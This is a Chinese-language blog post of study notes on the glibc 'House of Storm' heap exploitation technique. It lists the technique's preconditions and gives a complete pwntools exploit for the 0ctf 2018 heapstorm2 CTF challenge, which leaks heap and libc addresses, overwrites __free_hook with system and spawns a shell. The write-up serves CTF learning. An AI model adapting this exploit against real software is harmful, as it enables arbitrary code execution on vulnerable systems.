House of Storm 学习记录

警告
本文最后更新于 2021-01-26,文中内容可能已过时。

#漏洞概论# house of storm的是一种结合unsorted bin attack和large bin attack的联合攻击方式。 所以在学习这之前不可避免的需要学习unsorted bin attack和large bin attack。 这两篇的内容,分别可以看我之前写的文章 unsorted bin attack:https://blog.wjhwjhn.com/archives/146/ large bin attack:https://blog.wjhwjhn.com/archives/147/ 利用这个漏洞方法,可以对任意地址进行分配从而造成任意地址读写的后果。

#漏洞利用条件# 1.可以申请到large bin、unsorted bin 2.需要有UAF,可以利用off by one/null,heap overflow,uaf等方法来实现。 3.需要开启PIE(利用PIE中chunk随机化地址中可能出现的最高位地址0x56)

#house of storm# 1.利用large bin attack分别错位写一个size和bk的地址,size错位写了0x56(由于pie的原因,chunk的地址总是为6字节,但是头部地址可能是0x55或者0x56,这里需要0x56才能成功,因为malloc后会进行检测) 以下检测需要满足的要求,只需满足一条即可

1
2
3
4
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) || ar_ptr == arena_for_chunk(mem2chunk(victim)));
//1. victim 为 0
//2. IS_MMAPPED 为 1
//3. NON_MAIN_ARENA 为 0

2.利用unsorted bin attack在fd的位置写一个main_arena + 88的地址,从而绕过了检测。

#0ctf-2018-heapstorm# 1.利用堆收缩(poison null byte)来构成chunk overlapping。(这里的堆收缩是我第一次遇到的,利用这个方法的主要原因是这道题的off by null控制有限,在这之前一般是利用修改prev_size和prev_inuse的方式来构造chunk overlapping,但是这里无法控制到prev_size的内容,所以只能利用off by null来缩小堆块的内容,从而导致申请后没有覆盖到下一个chunk的prev_inuse,也没有破坏到prev_size的数据。从而构成了forgetten chunk的情况) 2.利用house of storm来对程序用mmap申请的指定地址的chunk内容进行控制,且因为写入地址的时候进行了异或,所以这里不能用unlink的方法(无法绕过检测)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
from LibcSearcher import *
#context.log_level = "debug"
elf = ELF('./0ctf_2018_heapstorm2')
def choice(idx):
    r.sendlineafter("Command: ", str(idx))

def alloc(size):
    choice(1)
    r.sendlineafter("Size: ", str(size))

def update(idx, content):
    choice(2)
    r.sendlineafter("Index: ", str(idx))
    r.sendlineafter("Size: ", str(len(content)))
    r.sendafter("Content: ", content)

def delete(idx):
    choice(3)
    r.sendlineafter("Index: ", str(idx))

def show(idx):
    choice(4)
    r.sendlineafter("Index: ", str(idx))
def pwn():
    #shrink chunk
    alloc(0x18)  #0
    alloc(0x518) #1 0x521
    alloc(0x18)  #2
    alloc(0x18)  #3
    alloc(0x528) #4 0x531
    alloc(0x18)  #5
    alloc(0x18)  #6

    update(1, 'a' * 0x4F0 + p64(0x500))
    delete(1)
    update(0, 'a' * (0x18 - 12)) #0x521 => 0x500
    alloc(0x18) #1
    alloc(0x4C8) #7
    delete(1)
    delete(2) #unlink
    alloc(0x538) #1, overlapping with 7
    update(1, 'a' * 0x18 + p64(0x521))
    delete(7)
    alloc(0x528) #2, insert laegebin

    update(4, 'a' * 0x4F0 + p64(0x500))
    delete(4)
    update(3, 'a' * (0x18 - 12)) #0x531 => 0x500
    alloc(0x18) #4
    alloc(0x4C8) #7
    delete(4)
    delete(5) #unlink
    alloc(0x548) #4, overlapping with 7
    update(4, 'a' * 0x18 + p64(0x531))
    delete(7)
    #house of storm
    target_addr = 0x13370800 - 0x10
    xor_key = 0x13377331
    update(4, 'a' * 0x18 + p64(0x531) + p64(0) + p64(target_addr))
    update(1, 'a' * 0x18 + p64(0x521) + p64(0) + p64(target_addr + 0x8) + p64(0) + p64(target_addr - 0x20 + 0x3))
    alloc(0x48) #5
    
    #leak heap
    update(5, p64(0) * 3 + p64(xor_key) + p64(target_addr + 3) + p64(0x500))
    show(0)
    heap_addr = u64(r.recvuntil('\x56')[-6:].ljust(8, '\x00'))
    log.success("heap_addr: " + hex(heap_addr))
    
    #leak libc
    update(0, p64(heap_addr) + '\x00' * 5 + p64(0) * 3 + p64(xor_key) + p64(target_addr + 0x30) + p64(0x500) + p64(heap_addr + 0x10) + p64(0x8))
    show(1)
    malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 88 - 0x10
    libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
    libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
    free_hook_addr = libc_base + libc.dump('__free_hook')
    system_addr = libc_base + libc.dump('system')
    
    #change __free_hook
    update(1, 'sh\x00')
    update(0, p64(free_hook_addr) + p64(0x8) + p64(heap_addr + 0x10) + p64(0x8))
    update(0, p64(system_addr))
    
    #getshell
    delete(1)
    r.interactive()

while True:
    try:
        r = process('./0ctf_2018_heapstorm2')
        #r = remote('node3.buuoj.cn', 27711)
        pwn()
    except EOFError:
        pass

#参考链接:# [1] house_of_storm 详解 - Rookle - 博客园 https://www.cnblogs.com/Rookle/p/13140339.html

0%